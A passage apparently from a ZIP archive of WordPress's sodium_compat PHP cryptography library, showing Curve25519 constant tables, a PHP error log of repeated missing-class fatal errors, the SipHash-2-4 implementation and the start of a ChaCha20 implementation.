-28746253, -10197509), array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883), array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865), ), array( array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660), array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273), array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138), ), array( array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560), array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135), array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941), ), array( array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739), array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756), array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819), ), ), array( array( array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347), array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028), array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075), ), array( array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799), array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609), array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817), ), array( array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989), array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523), array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278), ), array( array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045), array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377), array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480), ), array( array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016), array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426), array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525), ), array( array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396), array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080), array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892), ), array( array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275), array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074), array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140), ), array( array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717), array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101), array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127), ), ), array( array( array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632), array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415), array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160), ), array( array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876), array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625), array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478), ), array( array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164), array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595), array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248), ), array( array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858), array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193), array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184), ), array( array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942), array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635), array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948), ), array( array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935), array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415), array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416), ), array( array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018), array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778), array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659), ), array( array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385), array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503), array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329), ), ), array( array( array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056), array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838), array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948), ), array( array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691), array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118), array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517), ), array( array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269), array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904), array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589), ), array( array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193), array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910), array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930), ), array( array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667), array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481), array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876), ), array( array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640), array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278), array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112), ), array( array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272), array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012), array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221), ), array( array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046), array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345), array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310), ), ), array( array( array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937), array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636), array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008), ), array( array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429), array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576), array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066), ), array( array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490), array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104), array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053), ), array( array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275), array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511), array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095), ), array( array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439), array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939), array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424), ), array( array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310), array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608), array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079), ), array( array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101), array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418), array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576), ), array( array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356), array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996), array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099), ), ), array( array( array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728), array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658), array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242), ), array( array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001), array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766), array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373), ), array( array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458), array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628), array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657), ), array( array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062), array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616), array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014), ), array( array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383), array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814), array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718), ), array( array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417), array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222), array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444), ), array( array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597), array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970), array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799), ), array( array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647), array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511), array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032), ), ), array( array( array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834), array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461), array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062), ), array( array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516), array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547), array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240), ), array( array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038), array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741), array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103), ), array( array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747), array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323), array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016), ), array( array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373), array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228), array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141), ), array( array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399), array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831), array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376), ), array( array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313), array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958), array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577), ), array( array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743), array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684), array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476), ), ) ); /** * See: libsodium's crypto_core/curve25519/ref10/base2.h * * @var array>> basically int[8][3] */ protected static $base2 = array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877), array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951), array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784), ), array( array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436), array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918), array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877), ), array( array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800), array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305), array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300), ), array( array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876), array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619), array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683), ) ); /** * 37095705934669439343138083508754565189542113879843219016388785533085940283555 * * @var array */ protected static $d = array( -10913610, 13857413, -15372611, 6949391, 114729, -8787816, -6275908, -3247719, -18696448, -12055116 ); /** * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161 * * @var array */ protected static $d2 = array( -21827239, -5839606, -30745221, 13898782, 229458, 15978800, -12551817, -6495438, 29715968, 9444199 ); /** * sqrt(-1) * * @var array */ protected static $sqrtm1 = array( -32595792, -7943725, 9377950, 3500415, 12389472, -272473, -25146209, -2005654, 326686, 11406482 ); } PK,L[Ѩsrc/Core32/Curve25519/error_lognu[[18-May-2025 10:15:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [05-Jun-2025 05:34:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [21-Jun-2025 18:18:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [28-Jun-2025 14:43:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [11-Jul-2025 10:37:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [17-Aug-2025 22:53:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [18-Aug-2025 07:36:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [18-Aug-2025 07:50:08 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [22-Aug-2025 18:47:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [29-Aug-2025 23:08:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [30-Aug-2025 20:01:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 [30-Aug-2025 20:12:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12 PK-L[[(src/Core32/SipHash.phpnu[ $v * @return array */ public static function sipRound(array $v) { # v0 += v1; $v[0] = $v[0]->addInt64($v[1]); # v1 = ROTL(v1, 13); $v[1] = $v[1]->rotateLeft(13); # v1 ^= v0; $v[1] = $v[1]->xorInt64($v[0]); # v0=ROTL(v0,32); $v[0] = $v[0]->rotateLeft(32); # v2 += v3; $v[2] = $v[2]->addInt64($v[3]); # v3=ROTL(v3,16); $v[3] = $v[3]->rotateLeft(16); # v3 ^= v2; $v[3] = $v[3]->xorInt64($v[2]); # v0 += v3; $v[0] = $v[0]->addInt64($v[3]); # v3=ROTL(v3,21); $v[3] = $v[3]->rotateLeft(21); # v3 ^= v0; $v[3] = $v[3]->xorInt64($v[0]); # v2 += v1; $v[2] = $v[2]->addInt64($v[1]); # v1=ROTL(v1,17); $v[1] = $v[1]->rotateLeft(17); # v1 ^= v2; $v[1] = $v[1]->xorInt64($v[2]); # v2=ROTL(v2,32) $v[2] = $v[2]->rotateLeft(32); return $v; } /** * @internal You should not use this directly from another application * * @param string $in * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function sipHash24($in, $key) { $inlen = self::strlen($in); # /* "somepseudorandomlygeneratedbytes" */ # u64 v0 = 0x736f6d6570736575ULL; # u64 v1 = 0x646f72616e646f6dULL; # u64 v2 = 0x6c7967656e657261ULL; # u64 v3 = 0x7465646279746573ULL; $v = array( new ParagonIE_Sodium_Core32_Int64( array(0x736f, 0x6d65, 0x7073, 0x6575) ), new ParagonIE_Sodium_Core32_Int64( array(0x646f, 0x7261, 0x6e64, 0x6f6d) ), new ParagonIE_Sodium_Core32_Int64( array(0x6c79, 0x6765, 0x6e65, 0x7261) ), new ParagonIE_Sodium_Core32_Int64( array(0x7465, 0x6462, 0x7974, 0x6573) ) ); # u64 k0 = LOAD64_LE( k ); # u64 k1 = LOAD64_LE( k + 8 ); $k = array( ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($key, 0, 8) ), ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($key, 8, 8) ) ); # b = ( ( u64 )inlen ) << 56; $b = new ParagonIE_Sodium_Core32_Int64( array(($inlen << 8) & 0xffff, 0, 0, 0) ); # v3 ^= k1; $v[3] = $v[3]->xorInt64($k[1]); # v2 ^= k0; $v[2] = $v[2]->xorInt64($k[0]); # v1 ^= k1; $v[1] = $v[1]->xorInt64($k[1]); # v0 ^= k0; $v[0] = $v[0]->xorInt64($k[0]); $left = $inlen; # for ( ; in != end; in += 8 ) while ($left >= 8) { # m = LOAD64_LE( in ); $m = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($in, 0, 8) ); # v3 ^= m; $v[3] = $v[3]->xorInt64($m); # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= m; $v[0] = $v[0]->xorInt64($m); $in = self::substr($in, 8); $left -= 8; } # switch( left ) # { # case 7: b |= ( ( u64 )in[ 6] ) << 48; # case 6: b |= ( ( u64 )in[ 5] ) << 40; # case 5: b |= ( ( u64 )in[ 4] ) << 32; # case 4: b |= ( ( u64 )in[ 3] ) << 24; # case 3: b |= ( ( u64 )in[ 2] ) << 16; # case 2: b |= ( ( u64 )in[ 1] ) << 8; # case 1: b |= ( ( u64 )in[ 0] ); break; # case 0: break; # } switch ($left) { case 7: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[6]) << 16 ) ); case 6: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[5]) << 8 ) ); case 5: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[4]) ) ); case 4: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[3]) << 24, 0 ) ); case 3: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[2]) << 16, 0 ) ); case 2: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[1]) << 8, 0 ) ); case 1: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[0]), 0 ) ); case 0: break; } # v3 ^= b; $v[3] = $v[3]->xorInt64($b); # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= b; $v[0] = $v[0]->xorInt64($b); // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation # v2 ^= 0xff; $v[2]->limbs[3] ^= 0xff; # SIPROUND; # SIPROUND; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); # b = v0 ^ v1 ^ v2 ^ v3; # STORE64_LE( out, b ); return $v[0] ->xorInt64($v[1]) ->xorInt64($v[2]) ->xorInt64($v[3]) ->toReverseString(); } } PK-L[~ɯ88src/Core32/ChaCha20.phpnu[ * @throws SodiumException * @throws TypeError */ protected static function quarterRound( ParagonIE_Sodium_Core32_Int32 $a, ParagonIE_Sodium_Core32_Int32 $b, ParagonIE_Sodium_Core32_Int32 $c, ParagonIE_Sodium_Core32_Int32 $d ) { /** @var ParagonIE_Sodium_Core32_Int32 $a */ /** @var ParagonIE_Sodium_Core32_Int32 $b */ /** @var ParagonIE_Sodium_Core32_Int32 $c */ /** @var ParagonIE_Sodium_Core32_Int32 $d */ # a = PLUS(a,b); d = ROTATE(XOR(d,a),16); $a = $a->addInt32($b); $d = $d->xorInt32($a)->rotateLeft(16); # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); $c = $c->addInt32($d); $b = $b->xorInt32($c)->rotateLeft(12); # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); $a = $a->addInt32($b); $d = $d->xorInt32($a)->rotateLeft(8); # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); $c = $c->addInt32($d); $b = 